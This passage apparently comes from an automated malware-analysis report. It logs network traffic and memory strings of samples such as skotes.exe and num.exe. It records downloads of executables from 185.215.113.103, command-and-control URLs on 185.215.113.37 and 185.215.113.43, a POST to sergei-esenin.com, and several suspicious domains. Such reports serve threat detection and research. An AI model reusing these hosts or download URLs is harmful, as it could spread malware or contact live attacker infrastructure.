Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.103
Source: global traffic	HTTP traffic detected: GET /test/num.exe HTTP/1.1Host: 185.215.113.103
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.103
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache

Source: 9d7da53f74.exe, 0000003C.00000003.2728337199.00000000017BA000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000002.2748086028.00000000017BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/ equals www.youtube.com (Youtube)
Source: 9d7da53f74.exe, 0000003C.00000003.2728003958.00000000017BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: 9d7da53f74.exe, 0000003C.00000002.2748028782.0000000001787000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policydefault-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7Cd7fb65801182a5f50a3169fe2a0b7ef0; Path=/; Secure; HttpOnly; SameSite=Nonesessionid=2443a078f918f5d8bd5d4d5b; Path=/; Secure; SameSite=NoneSet-CookienginxServerRetry-AfterProxy-SupportProxy-AuthenticateP3PLocationETagAuthentication-InfoAgeAccept-RangesLast-ModifiedMon, 26 Jul 1997 05:00:00 GMTExpiresContent-RangeContent-MD5Content-LocationContent-LanguageContent-Encodingtext/html; charset=UTF-8Content-Type25489Content-LengthAllowWarningViaUpgradeTransfer-EncodingTrailerPragmaKeep-AliveMon, 07 Oct 2024 01:23:44 GMTDateProxy-ConnectioncloseConnectionno-cacheCache-Control equals www.youtube.com (Youtube)
Source: 9d7da53f74.exe, 00000015.00000003.2511615380.0000000000CB5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policydefault-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7Cd7fb65801182a5f50a3169fe2a0b7ef0; Path=/; Secure; HttpOnly; SameSite=Nonesessionid=52d65d3cb3170de9b0432222; Path=/; Secure; SameSite=NoneSet-CookienginxServerRetry-AfterProxy-SupportProxy-AuthenticateP3PLocationETagAuthentication-InfoAgeAccept-RangesLast-ModifiedMon, 26 Jul 1997 05:00:00 GMTExpiresContent-RangeContent-MD5Content-LocationContent-LanguageContent-Encodingtext/html; charset=UTF-8Content-Type34837Content-LengthAllowWarningViaUpgradeTransfer-EncodingTrailerPragmaKeep-AliveMon, 07 Oct 2024 01:23:22 GMTDateProxy-ConnectioncloseConnectionno-cacheCache-Control equals www.youtube.com (Youtube)
Source: chromecache_161.19.dr	String found in binary or memory: _.iq(p)+"/familylink/privacy/notice/embedded?langCountry="+_.iq(p);break;case "PuZJUb":a+="https://www.youtube.com/t/terms?chromeless=1&hl="+_.iq(m);break;case "fxTQxb":a+="https://youtube.com/t/terms?gl="+_.iq(_.rq(c))+"&hl="+_.iq(d)+"&override_hl=1"+(f?"&linkless=1":"");break;case "prAmvd":a+="https://www.google.com/intl/"+_.iq(m)+"/chromebook/termsofservice.html?languageCode="+_.iq(d)+"&regionCode="+_.iq(c);break;case "NfnTze":a+="https://policies.google.com/privacy/google-partners"+(f?"/embedded": equals www.youtube.com (Youtube)
Source: 9d7da53f74.exe, 0000003C.00000002.2748028782.0000000001787000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: 9d7da53f74.exe, 00000015.00000002.2522203861.0000000000CB5000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2521640982.0000000000CB5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; con equals www.youtube.com (Youtube)
Source: 9d7da53f74.exe, 00000015.00000002.2522203861.0000000000CB5000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2521640982.0000000000CB5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ttps://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ 0 equals www.youtube.com (Youtube)
Source: 9d7da53f74.exe, 0000003C.00000003.2728084874.00000000017C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: youtube.com
Source: global traffic	DNS traffic detected: DNS query: www.youtube.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: clearancek.site
Source: global traffic	DNS traffic detected: DNS query: mobbipenju.store
Source: global traffic	DNS traffic detected: DNS query: eaglepawnoy.store
Source: global traffic	DNS traffic detected: DNS query: dissapoiznw.store
Source: global traffic	DNS traffic detected: DNS query: studennotediw.store
Source: global traffic	DNS traffic detected: DNS query: bathdoomgaz.store
Source: global traffic	DNS traffic detected: DNS query: spirittunek.store
Source: global traffic	DNS traffic detected: DNS query: licendfilteo.site
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: sergei-esenin.com
Source: global traffic	DNS traffic detected: DNS query: accounts.youtube.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: sergei-esenin.com

Source: 9d7da53f74.exe, 0000003C.00000002.2748028782.0000000001787000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728003958.00000000017BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:27060
Source: skotes.exe, 00000005.00000002.2953123746.0000000000B38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.103/luma/random.exe
Source: skotes.exe, 00000005.00000002.2953123746.0000000000B38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.103/luma/random.exex6
Source: skotes.exe, 00000005.00000002.2953123746.0000000000B38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.103/test/num.exe
Source: skotes.exe, 00000005.00000002.2953123746.0000000000B1B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.103/well/random.exe
Source: skotes.exe, 00000005.00000002.2953123746.0000000000B1B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.103/well/random.exe/~
Source: skotes.exe, 00000005.00000002.2953123746.0000000000B1B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.103/well/random.exe13
Source: num.exe, 00000014.00000002.2442698783.0000000000E8E000.00000004.00000020.00020000.00000000.sdmp, num.exe, 0000002C.00000002.2630021156.0000000000587000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37
Source: num.exe, 0000002C.00000002.2630021156.0000000000587000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: num.exe, 0000002C.00000002.2630021156.00000000005C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/9aqo
Source: num.exe, 00000014.00000002.2442698783.0000000000EEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/=
Source: num.exe, 0000002C.00000002.2630021156.00000000005C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/LaJo
Source: num.exe, 0000002C.00000002.2630021156.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, num.exe, 0000002C.00000002.2630021156.00000000005E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: num.exe, 00000014.00000002.2442698783.0000000000EEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php(
Source: num.exe, 0000002C.00000002.2630021156.00000000005C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpGQ
Source: num.exe, 00000014.00000002.2442698783.0000000000E8E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpJXi
Source: num.exe, 0000002C.00000002.2630021156.00000000005C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpKQ
Source: num.exe, 0000002C.00000002.2630021156.00000000005C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpoQ
Source: num.exe, 00000014.00000002.2442698783.0000000000EEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpu
Source: num.exe, 00000014.00000002.2442698783.0000000000ED6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpw
Source: num.exe, 00000014.00000002.2442698783.0000000000E8E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpzX
Source: num.exe, 0000002C.00000002.2630021156.00000000005C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/ws
Source: num.exe, 00000014.00000002.2442698783.0000000000E8E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37E
Source: skotes.exe, 00000005.00000002.2953123746.0000000000B1B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/
Source: skotes.exe, 00000005.00000002.2953123746.0000000000B1B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/15.113.43/ows
Source: skotes.exe, 00000005.00000002.2953123746.0000000000B1B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Local
Source: skotes.exe, 00000005.00000002.2953123746.0000000000B1B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/ViewSizePreferences.SourceAumid2=
Source: skotes.exe, 00000005.00000002.2953123746.0000000000B1B000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000005.00000002.2953123746.0000000000B85000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000005.00000002.2953123746.0000000000B38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000005.00000002.2953123746.0000000000B1B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php#
Source: skotes.exe, 00000005.00000002.2953123746.0000000000B38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php$AC
Source: skotes.exe, 00000005.00000002.2953123746.0000000000B1B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php/
Source: skotes.exe, 00000005.00000002.2953123746.0000000000B38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php0332001
Source: skotes.exe, 00000005.00000002.2953123746.0000000000B38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php0349001
